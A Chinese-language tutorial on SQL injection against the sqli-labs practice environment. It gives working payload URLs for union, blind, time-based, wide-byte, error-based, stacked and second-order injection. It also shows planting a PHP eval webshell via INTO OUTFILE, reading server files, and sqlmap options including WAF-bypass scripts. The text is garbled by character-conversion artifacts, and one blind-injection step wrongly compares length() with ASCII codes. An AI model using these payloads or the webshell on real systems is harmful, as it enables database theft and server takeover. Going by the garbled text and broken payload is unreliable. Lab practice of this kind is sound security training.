常見SQL注入類型及原理是什么

這篇“常見SQL注入類型及原理是什么”文章的知識點(diǎn)大部分人都不太理解，所以小編給大家總結(jié)了以下內(nèi)容，內(nèi)容詳細(xì)，步驟清晰，具有一定的借鑒價(jià)值，希望大家閱讀完這篇文章能有所收獲，下面我們一起來看看這篇“常見SQL注入類型及原理是什么”文章吧。

Mysql基礎(chǔ)

Mysql安裝
這里我們直接使用phpstudy集成環(huán)境中的mysql

Mysql常用命令
（1）mysql本地連接

mysql -h localhost -uroot –proot

參數(shù) 說明
-h 表示數(shù)據(jù)庫連接地址，連接本機(jī)可不填,直接mysql -uroot -p
-u 表示要登錄的用戶
-p 表示使用密碼登錄
默認(rèn)賬/密：root/root
注：登錄mysql時(shí)，-p后面不能有空格加密碼，但-p空格，后面不加值是可以的

（2）查看所有數(shù)據(jù)庫

show databases;

（3）使用數(shù)據(jù)庫，注意sql語句后面要加分號

use 數(shù)據(jù)庫名;

（4）查看當(dāng)前數(shù)據(jù)庫中的表

show tables;

（5）查看表中字段結(jié)構(gòu)，不爆出內(nèi)容

describe 表名;

（6）查看表中所有字段及內(nèi)容（前提已經(jīng)use了數(shù)據(jù)庫）

select * from 表名;

（7）向指定目錄，如C:\WWW目錄中寫入peak.php一句話木馬

select "<?php @eval($_REQUEST[peak]);?>" into outfile "C:\\WWW\\peak.php";

或

select 0x3c3f70687020406576616c28245f524551554553545b7065616b5d293b3f3e into outfile"C:\\WWW\\peak.php";

注：
要使用兩個(gè)\，兩個(gè)\到目標(biāo)服務(wù)器后變?yōu)橐粋€(gè)\，若使用C:\WWW\peak.php，執(zhí)行后會在MYSQL\data目錄下生成WWWpeak.php文件，不是指定目錄
另外，使用Hex編碼時(shí)，不要加""了

（8）創(chuàng)建數(shù)據(jù)庫

create database peak;

（9）刪除數(shù)據(jù)庫

drop database 庫名;

（10）清空表

delete from 表名;

（11）修改root密碼

mysqladmin -uroot -p password 新密碼

之后輸入原密碼，即會修改成功

（12）查詢當(dāng)前數(shù)據(jù)庫所在目錄

select @@basedir;

（13）創(chuàng)建數(shù)據(jù)庫

CREATE DATABASE [IF NOT EXISTS] <數(shù)據(jù)庫名>

（14）創(chuàng)建表

CREATE TABLE table_name (column_name column_type);

（15）創(chuàng)建字段

INSERT INTO users (字段名) VALUES (“字段值");

（16）刪除表中數(shù)據(jù)

DELETE FROM <表名> [WHERE 子句] [ORDER BY 子句] [LIMIT 子句]

關(guān)鍵信息剖析
（1）information_schema

在MySQL中，把 information_schema 看作是一個(gè)數(shù)據(jù)庫，確切說是信息數(shù)據(jù)庫。其中保存著關(guān)于MySQL服務(wù)器所維護(hù)的所有其他數(shù)據(jù)庫的信息。如數(shù)據(jù)庫名，數(shù)據(jù)庫的表，表欄的數(shù)據(jù)類型與訪問權(quán)限等

（2）information_schema數(shù)據(jù)庫表常見參數(shù)說明:

? SCHEMATA表：提供了當(dāng)前mysql實(shí)例中所有數(shù)據(jù)庫的信息。是show databases的結(jié)果取之此表。
? TABLES表：提供了關(guān)于數(shù)據(jù)庫中的表的信息（包括視圖）。詳細(xì)表述了某個(gè)表屬于哪個(gè)schema，表類型，表引擎，創(chuàng)建時(shí)間等信息。是show tables from schemaname的結(jié)果取之此表。
? COLUMNS表：提供了表中的列信息。詳細(xì)表述了某張表的所有列以及每個(gè)列的信息。是show columns from schemaname.tablename的結(jié)果取之此表。

sql-labs環(huán)境搭建

靶場環(huán)境：
https://github.com/Audi-1/sqli-labs

SQL注入原理

什么是SQL注入？
SQL注入，是指攻擊者通過注入惡意的SQL命令，破壞SQL查詢語句的結(jié)構(gòu)，從而達(dá)到執(zhí)行惡意SQL語句的目的。SQL注入漏洞的危害是巨大的，常常會導(dǎo)致整個(gè)數(shù)據(jù)庫被"脫褲"。盡管如此，SQL注入仍是現(xiàn)在最常見的Web漏洞之一

SQL注入步驟
（1）判斷是否存在注入，注入是字符型還是數(shù)字型
（2）猜解SQL查詢語句中的字段數(shù)
（3）判斷哪些位置字段可以注入利用
（4）查詢數(shù)據(jù)庫（當(dāng)前使用數(shù)據(jù)庫或所有數(shù)據(jù)庫）
（5）查詢指定數(shù)據(jù)庫中的表
（6）查詢指定表中的字段名
（7）查詢表中字段的值

常見SQL注入類型（細(xì)分七種類型）

可以將SQL注入分為兩大類：
非盲注和盲注，非盲注就是有報(bào)錯(cuò)回顯，盲注就是沒有報(bào)錯(cuò)回顯

常見的SQL注入方法有：

• 聯(lián)合注入

• 布爾盲注

• 時(shí)間盲注

• 寬字節(jié)注入

• 報(bào)錯(cuò)注入

• 堆疊注入

• 二次注入

數(shù)字型/字符型注入判斷
首先id后面加單引號 查看是否可能存在sql注入，返回正常，不存在；返回不正常，存在

假設(shè)ip/?id=1

數(shù)字型，參數(shù)沒有被引號包圍：
id=1 and 1=1 返回頁面正常
id=1 and 1=2 返回頁面不正常
id=1’ and ‘1’=‘1 返回頁面不正常
id=1’ and ‘1’=‘2 返回頁面不正常
字符型，參數(shù)被引號包圍：
id=1 and 1=1 返回頁面正常或錯(cuò)誤
id=1 and 1=2 返回頁面正?；蝈e(cuò)誤
id=1’ and ‘1’=‘1 返回頁面正常
id=1’ and ‘1’='2 返回頁面不正常
總結(jié)出兩種測試方法：
and 1=1正常，1=2不正常，可能存在數(shù)字型注入/and 1=1正常或錯(cuò)誤，1=2正?；蝈e(cuò)誤，可能存在字符型注入
’ and ‘1’=‘1不正常，’ and ‘1’=‘2不正常，可能存在數(shù)字行注入/’ and ‘1’=‘1正常，’ and ‘1’='2不正常，可能存在字符型注入

0x01：聯(lián)合注入

原理
（1）union select定義
將多個(gè)SELECT語句的結(jié)果合并到一個(gè)結(jié)果集中
（2）mysql直觀測試

SELECT * FROM users WHERE id='1' union select * from users where id=2;

測試環(huán)境
Pass-1

相關(guān)函數(shù)

• group_concat(參數(shù)1，參數(shù)2，參數(shù)3等等無數(shù)個(gè)參數(shù))語法： group_concat函數(shù)返回一個(gè)字符串結(jié)果(就是返回一行)，該結(jié)果由括號中的各個(gè)參數(shù)值執(zhí)行然后連接組合而成

• char()：還原ASCII碼為字符

注入過程
1、首先判斷目標(biāo)是否存在sql注入，是什么類型的sql注入

http://127.0.0.1/sqli-labs/Less-1/?id=1                       //返回正確
http://127.0.0.1/sqli-labs/Less-1/?id=1'	          //返回錯(cuò)誤，可能存在SQL注入
http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1        //返回正確
http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2        //返回正確
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1       //返回錯(cuò)誤
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2       //返回錯(cuò)誤

由此可見，$id后面可能還有sql語句
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+ //返回正確
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 --+ //返回錯(cuò)誤
由此可見，目標(biāo)存在sql注入，并且是字符型，該id變量后面還有其他的sql語句
此時(shí)我們看一下源碼，是否是字符型

2、測試步驟
（1）使用union select猜測目標(biāo)SQL查詢語句中select后面的字段數(shù)量，同時(shí)也測出了目標(biāo)哪些位置的字段可以繼續(xù)利用

（2）判斷方法：回顯錯(cuò)誤表示不止當(dāng)前字段數(shù)，回顯正確表示就是這么多字段數(shù)
Payload：http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3%23
注：這里的and 1=2是為了就將正確的id=1不顯示，返回錯(cuò)誤，顯示后面union select語句的值，因?yàn)橛袝r(shí)目標(biāo)網(wǎng)站設(shè)置只回顯一條數(shù)據(jù)庫語句，容易造成判斷失誤
結(jié)果：這里SQL查詢語句中select后面的字段數(shù)量是3個(gè)，2，3字段可以利用

（3）Payload

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database(),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

（4）拓展
還有一種方法，order by判斷字段數(shù)

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 order by 1%23

具體情況具體分析

0x02：布爾盲注

原理
Web的頁面的僅僅會返回True和False，那么布爾盲注就是根據(jù)頁面返回的True或者是False來得到數(shù)據(jù)庫中的相關(guān)信息

測試環(huán)境
Pass-8

相關(guān)函數(shù)解析
（1）length：返回值為字符串的字節(jié)長度
（2）ascii：把字符轉(zhuǎn)換成ascii碼值的函數(shù)
（3）substr(str, pos, len)：在str中從pos開始的位置（起始位置為1），截取len個(gè)字符
（4）count：統(tǒng)計(jì)表中記錄的一個(gè)函數(shù)，返回匹配條件的行數(shù)
（5）limit：
limit m ：檢索前m行數(shù)據(jù)，顯示1-10行數(shù)據(jù)（m>0）
limit(x,y)：檢索從x+1行開始的y行數(shù)據(jù)

注入過程
1、判斷數(shù)據(jù)庫名稱長度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length(database()))=8%23

2、猜解數(shù)據(jù)庫名

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,3,1))) = 99%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,4,1))) = 117%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121%23

3、判斷數(shù)據(jù)庫中表的數(shù)量

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4%23

4、猜解其中第四個(gè)表名的長度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5%23

5、猜解第四個(gè)表名

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 117%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 101%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 114%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
第四個(gè)表名為users

6、判斷users表中字段數(shù)量

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3%23

7、判斷第二個(gè)字段長度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=8%23

8、猜解第二個(gè)字段名稱

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117%23
...
第二個(gè)字段名稱為username
注：substr(參數(shù)1，參數(shù)2，參數(shù)3)，參數(shù)2中0和1都可表示從第一位字符開始，但這里只可以用1,0不可以，可能和數(shù)據(jù)庫版本有關(guān)

9、猜解指定字段中值的數(shù)量

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(username)from users)=13%23

10、猜解第一個(gè)字段中第一個(gè)值的長度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select username from users limit 0,1))=4%23

11、猜解第一個(gè)字段中第一個(gè)值的名稱

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68%23
...
最后的值為Dumb

0x03：時(shí)間盲注

原理
時(shí)間盲注的一般思路是延遲注入，就是利用sleep()或benchmark()等函數(shù)讓mysql執(zhí)行時(shí)間變長并結(jié)合判斷條件語句if(expr1,expr2,expr3)，然后通過頁面的響應(yīng)時(shí)間長短來判斷語句返回的值是True還是False，從而猜解一些未知的字段

測試環(huán)境
Less-9

相關(guān)函數(shù)
if(expr1,expr2,expr3)： expr1的值為TRUE，則返回值為expr2 ；expr1的值為FALSE，則返回值為expr3
sleep(n)：延遲響應(yīng)時(shí)間n秒

Payload

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(1=1,sleep(4),null)%23
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (length(database()))=8 and if(1=1,sleep(4),null)%23
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select database()),1,1))) =115 and if(1=1,sleep(4),null)%23

0x04：寬字節(jié)注入

原理
當(dāng)存在寬字節(jié)注入的時(shí)候，注入?yún)?shù)里帶入％df％27，即可把（％5c）吃掉，也就是%df和%5c結(jié)合成了漢字運(yùn)

測試環(huán)境
Pass-32

Payload

http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,2,3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

0x05：報(bào)錯(cuò)注入

原理
報(bào)錯(cuò)注入是通過特殊函數(shù)錯(cuò)誤使用并使其輸出錯(cuò)誤結(jié)果來獲取信息的。

測試環(huán)境
Pass-5

相關(guān)函數(shù)

concat()函數(shù)：用于將多個(gè)字符串連接成一個(gè)字符串
floor(x) 函數(shù)：返回小于 x 的最大整數(shù)值
rand()函數(shù)調(diào)：用可以在0和1之間產(chǎn)生一個(gè)隨機(jī)數(shù)
group by語句：根據(jù)一個(gè)或多個(gè)列對結(jié)果集進(jìn)行分組
updatexml(目標(biāo)xml文檔，xml路徑，更新的內(nèi)容)：更新xml文檔的函數(shù)，xpath_expr： 需要更新的xml路徑(Xpath格式)
new_xml： 更新后的內(nèi)容
此函數(shù)用來更新選定XML片段的內(nèi)容，將XML標(biāo)記的給定片段的單個(gè)部分替換為 xml_target 新的XML片段 new_xml ，然后返回更改的XML。xml_target替換的部分 與xpath_expr 用戶提供的XPath表達(dá)式匹配。
extractvalue(目標(biāo)xml文檔，xml路徑)：對XML文檔進(jìn)行查詢的函數(shù)，一個(gè)XML標(biāo)記片段 xml_frag和一個(gè)XPath表達(dá)式 xpath_expr（也稱為 定位器）; 它返回CDATA第一個(gè)文本節(jié)點(diǎn)的text（），該節(jié)點(diǎn)是XPath表達(dá)式匹配的元素的子元素。第一個(gè)參數(shù)可以傳入目標(biāo)xml文檔，第二個(gè)參數(shù)是用Xpath路徑法表示的查找路徑，第二個(gè)參數(shù) xml中的位置是可操作的地方，xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式，如果我們寫入其他格式，就會報(bào)錯(cuò)，并且會返回我們寫入的非法格式內(nèi)容，而這個(gè)非法的內(nèi)容就是我們想要查詢的內(nèi)容

參考
https://blog.51cto.com/wt7315/1891458

0x05-1：floor報(bào)錯(cuò)注入

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

0x05-2：updatexml報(bào)錯(cuò)注入

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(database()),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23

0x05-3：extractvalue報(bào)錯(cuò)注入

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat(0x7e,(database()),0x7e))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select username from users limit 0,1),'~'))%23

0x06：堆疊注入

原理
堆疊注入與受限于select語句的聯(lián)合查詢法相反，堆疊注入可用于執(zhí)行任意SQL語句。簡單地說就是MYSQL的多語句查詢
堆疊注入的局限性：堆疊注入并不是在任何換環(huán)境下都可以執(zhí)行的，可能受到API或者數(shù)據(jù)庫引擎不支持的限制（如Oracle數(shù)據(jù)庫），也有可能權(quán)限不足。web系統(tǒng)中，因?yàn)榇a通常只返回一個(gè)查詢結(jié)果，因此堆疊注入第二個(gè)語句產(chǎn)生錯(cuò)誤或者結(jié)果只能被忽略，我們在前端界面是無法看到返回結(jié)果的。

測試環(huán)境
Pass-38

Payload

http://127.0.0.1/sqli-labs/Less-38/?id=1';create database peak%23

0x07：二次注入

原理
二次注入可以理解為，攻擊者構(gòu)造的惡意數(shù)據(jù)存儲在數(shù)據(jù)庫后，惡意數(shù)據(jù)被讀取并進(jìn)入到SQL查詢語句所導(dǎo)致的注入。防御者可能在用戶輸入惡意數(shù)據(jù)時(shí)對其中的特殊字符進(jìn)行了轉(zhuǎn)義處理，但在惡意數(shù)據(jù)插入到數(shù)據(jù)庫時(shí)被處理的數(shù)據(jù)又被還原并存儲在數(shù)據(jù)庫中（比如雖然參數(shù)在過濾后會添加"“進(jìn)行轉(zhuǎn)義，但是”"并不會插入到數(shù)據(jù)庫中），當(dāng)Web程序調(diào)用存儲在數(shù)據(jù)庫中的惡意數(shù)據(jù)并執(zhí)行SQL查詢時(shí)，就發(fā)生了SQL二次注入。
二次注入，可以概括為以下兩步：

第一步：插入惡意數(shù)據(jù)
進(jìn)行數(shù)據(jù)庫插入數(shù)據(jù)時(shí)，對其中的特殊字符進(jìn)行了轉(zhuǎn)義處理，在寫入數(shù)據(jù)庫的時(shí)候又保留了原來的數(shù)據(jù)。

第二步：引用惡意數(shù)據(jù)
開發(fā)者默認(rèn)存入數(shù)據(jù)庫的數(shù)據(jù)都是安全的，在進(jìn)行查詢時(shí)，直接從數(shù)據(jù)庫中取出惡意數(shù)據(jù)，沒有進(jìn)行進(jìn)一步的檢驗(yàn)的處理。

測試環(huán)境
Pass-24

Payload
（1）先創(chuàng)建一個(gè)含有注釋符的用戶 amin’#
（2）看下數(shù)據(jù)庫，成功添加了記錄
（3）源碼sql語句分析：

原SQL語句：UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
修改密碼sql語句：UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
最后真正執(zhí)行的sql語句：UPDATE users SET PASSWORD=‘$pass’ where username='admin'

（4）最后修改admin’#的密碼
（5）成功修改admin的密碼

SQL注入-文件讀寫

原理
利用文件的讀寫權(quán)限進(jìn)行注入，它可以寫入一句話木馬，也可以讀取系統(tǒng)文件的敏感信息

利用條件
secure_file_priv這個(gè)參數(shù)用來限制數(shù)據(jù)導(dǎo)入和導(dǎo)出
secure_file_priv=
代表對文件讀寫沒有限制
secure_file_priv=NULL
代表不能進(jìn)行文件讀寫
secure_file_priv=F:
代表只能對該路徑下文件進(jìn)行讀寫
注
查看方法：show global variables like ‘%secure%’;
修改方法：my.ini函數(shù)，沒有的話就直接添加

相關(guān)函數(shù)
load_file()：讀取文件
into outfile：寫入文件

測試環(huán)境
Pass-1

讀文件
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,load_file(‘F:\1.txt’),3%23

寫文件
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,’<?php @eval($_POST["cmd"]);?>’,3 into outfile ‘F:\2.php’%23

sqlmap常見參數(shù)

sqlmap下載地址
http://sqlmap.org/

常用參數(shù)

-u：指定含有參數(shù)的URL
--dbs：爆出數(shù)據(jù)庫
--batch：默認(rèn)選擇執(zhí)行
--random-agent：使用隨機(jī)user-agent
-r：POST注入
--level：注入等級，一共有5個(gè)等級（1-5） 不加 level 時(shí)，默認(rèn)是1，5級包含的payload最多，會自動(dòng)破解出cookie、XFF等頭部注入，相對應(yīng)他的速度也比較慢
--timeout：設(shè)定重試超時(shí)
--cookie：設(shè)置cookie信息
--flush-session：刪除指定目標(biāo)緩存，重新對該目標(biāo)進(jìn)行測試
--tamper：使用waf繞過腳本
--time-sec：設(shè)定延時(shí)時(shí)間，默認(rèn)是5秒
--thread：多線程，默認(rèn)為1，最大為10
--keep-live： sqlmap默認(rèn)是一次連接成功后馬上關(guān)閉；HTTP報(bào)文中相當(dāng)于Connection: Close（一次連接馬上關(guān)閉）。要掃描站點(diǎn)的URL比較多時(shí)，這樣比較耗費(fèi)性能，所以需要將HTTP連接持久化來提高掃描性能；HTTP報(bào)文相當(dāng)于Connection: Keep-Alive

示例

py -3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --dbs --random-agent --batch

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